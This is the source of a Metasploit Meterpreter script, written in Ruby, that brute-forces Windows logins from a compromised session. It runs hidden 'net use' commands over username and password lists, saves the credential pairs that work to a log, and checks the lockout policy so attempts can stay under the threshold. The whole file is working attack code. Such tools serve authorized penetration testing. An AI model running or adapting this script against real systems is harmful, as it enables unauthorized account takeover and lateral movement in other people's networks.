metasploit-framework/scripts/meterpreter/winbf.rb

206 lines
6.0 KiB
Ruby

#!/usr/bin/env ruby
#Meterpreter script for brute forcin logins on Windows 2003, Windows Vista
#Windows 2008 and Windows XP targets using native windows commands.
#Provided by Carlos Perez at carlos_perez[at]darkoperator.com
#Verion: 0.1.0
#Note: For some reason Multi-Threading Net use gives a lot of false positives
################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "\tHelp menu."],
"-t" => [ true, "\tTarget IP Address"],
"-p" => [ true, "\tPassword List"],
"-cp" => [ false, "\tCheck Local Machine Password Policy"],
"-L" => [ true, "\tUsername List to be brute forced"],
"-l" => [ true, "\tLogin name to be brute forced"]
)
# Variables for Options
user = []
ulopt = nil
userlist = nil
passlist = nil
target = nil
helpcall = 0
# The 'client' object holds the Meterpreter session
# Aliasing here for plugin compatibility
session = client
################## Function Definition ##################
# Function for checking the password policy of current system.
# This policy may resemble the policy of other servers in the
#target enviroment.
def chkpolicy(session)
print_status("Checking password policy...")
output = []
begin
r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
output << d
end
r.channel.close
r.close
# Parsing output of net accounts
lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
# check for account lockout
if lockout.empty?
print_status "\tNo account lockout threshold configured"
else
print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
print_status "\tThe account will be locked out for #{lcktime}"
end
# check for password lenght
if minpass.to_s == "0"
print_status "\tNo minimun password lenght is configured"
else
print_status "\tThe minumun password lengh configured is #{minpass}"
print_status "\tyour dictionary should start with passwords of #{minpass} length"
end
rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
#--------------------------------------------------------
# Function for brute forcing passwords using windows native tools
def passbf(session,passlist,target,user,opt,logfile)
print_status("Running Brute force attack against #{user}")
print_status("Successfull Username and Password pairs are being saved in #{logfile}")
result = []
output = []
passfnd = 0
a = []
i = 0
if opt == 1
if not ::File.exists?(user)
raise "Usernames List File does not exists!"
else
user = ::File.open(user, "r")
end
end
# Go thru each user
user.each do |u|
# Go thru each line in the password file
while passfnd < 1
::File.open(passlist, "r").each_line do |line|
begin
print_status("Trying #{u.chomp} #{line.chomp}")
# Command for testing local login credentials
r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
output << d
end
r.channel.close
r.close
# Checks if password is found
result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
if result.length == 1
print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
filewrt(logfile,"User: #{u.chomp} pass: #{line.chomp}")
r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
output << d
end
output.clear
r.channel.close
r.close
passfnd = 1
break
end
rescue ::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
passfnd = 1
end
passfnd = 0
end
end
#--------------------------------------------------------
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
data2wrt.each do |d|
output.puts(d)
end
output.close
end
#--------------------------------------------------------
# Function for creating log file
def logme(target)
# Create Filename info to be appended to files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000))
# Create a directory for the logs
logs = ::File.join(Msf::Config.config_directory, 'logs', 'winbf', target)
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
dest = logs + "/" + target + filenameinfo
dest
end
#--------------------------------------------------------
################## MAIN ##################
# Parsing of Options
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-l"
user << val
ulopt = 0
when "-L"
userlist = val
ulopt = 1
when "-cp"
chkpolicy(session)
exit
when "-p"
passlist = val
if not ::File.exists?(passlist)
raise "Password File does not exists!"
end
when "-t"
target = val
when "-h"
print(
"Windows Login Brute Force Meterpreter Script\n" +
"Usage:\n" +
@@exec_opts.usage
)
helpcall = 1
end
}
# Execution of options selected
if user.length > 0 && passlist != nil && target != nil
passbf(session,passlist,target,user,ulopt,logme(target))
elsif userlist != nil && passlist != nil && target != nil
passbf(session,passlist,target,userlist,ulopt,logme(target))
elsif helpcall == 0
print(
"Windows Login Brute Force Meterpreter Script\n" +
"Usage:\n" +
@@exec_opts.usage
)
end